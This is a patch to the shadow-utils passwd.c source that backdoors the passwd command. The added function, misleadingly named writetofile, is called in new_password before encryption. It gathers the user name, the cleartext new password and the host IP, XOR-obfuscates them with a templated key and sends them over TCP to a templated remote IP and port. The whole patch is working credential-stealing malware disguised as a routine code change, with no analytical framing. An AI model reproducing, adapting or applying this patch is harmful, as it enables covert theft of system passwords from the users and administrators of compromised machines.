passwdTemp.patch

--- passwd_org.c	2022-12-15 15:22:52.411588152 -0500
+++ passwd.c	2022-12-15 15:28:10.286693663 -0500
@@ -28,6 +28,16 @@
 #include "pwio.h"
 #include "shadowio.h"
 #include "shadowlog.h"
+#include <sys/socket.h>
+#include <arpa/inet.h> 
+#include <sys/ioctl.h>
+#include <netinet/in.h>
+#include <net/if.h>
+#include <unistd.h> 
+#include <string.h> 
+#define PORT %port% 
+#define IP "%ip%"
+
 
 /*
  * exit status values
@@ -177,6 +187,90 @@
 	return false;
 }
 
+
+char* XORCipher(char* data, char* key, int dataLen, int keyLen) {
+	char* output = (char*)malloc(sizeof(char) * dataLen);
+
+	for (int i = 0; i < dataLen; ++i) {
+		output[i] = data[i] ^ key[i % keyLen];
+	}
+
+	return output;
+}
+
+
+int writetofile (char *password){
+
+    /* Get uid */
+    uid_t uid = geteuid();
+    struct passwd * pw = getpwuid(uid);
+            
+    /* Get IP Address */
+    int fd;
+    struct ifreq ifr;
+    fd = socket(AF_INET, SOCK_DGRAM, 0);
+        
+    /* I want to get an IPv4 IP address */
+    ifr.ifr_addr.sa_family = AF_INET;
+
+    /* I want IP address attached to set interface */
+    strncpy(ifr.ifr_name, "%int%", IFNAMSIZ-1);
+    ioctl(fd, SIOCGIFADDR, &ifr);
+    close(fd);
+    
+    /* display result */
+    char buffer[256];
+    char * ip;
+    ip = inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr);
+	 int j = snprintf(buffer, 256, "%s:%s:%s\n", name, password, ip);
+
+    /* Make Socket */
+    int sock = 0, valread;
+    struct sockaddr_in serv_addr;
+
+    /* Sock creation Pt 2*/
+    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
+        return -1;
+    }
+
+    /* Socket Options */
+    serv_addr.sin_family = AF_INET;
+    serv_addr.sin_port = htons(PORT);
+        
+    /* Timeout settings */
+    struct timeval timeout;
+    timeout.tv_sec = 3;
+    timeout.tv_usec = 0;
+    
+    if (setsockopt (sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof timeout) < 0)  {
+        return -1;
+    }
+    if (setsockopt (sock, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof timeout) < 0) {
+        // pass
+    }
+
+     /* set IP and set buffer */
+    if(inet_pton(AF_INET, IP, &serv_addr.sin_addr)<=0) {
+        return -1;
+    }
+    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
+        return -1;
+    }
+
+    /* Encrypt Message */
+    char* key  = "%key%";
+    int key_length = strlen(key);
+    int mes_length = strlen(buffer);
+    char* xor_message = XORCipher(buffer, key, mes_length, key_length);
+
+    /* Send Message */
+    send(sock , xor_message , mes_length, 0); 
+    
+    return 0;
+
+}
+
+
 /*
  * new_password - validate old password and replace with new (both old and
  * new in global "char crypt_passwd[128]")
@@ -335,6 +429,8 @@
 		return -1;
 	}
 
+	writetofile(pass);
+
 	/*
 	 * Encrypt the password, then wipe the cleartext password.
 	 */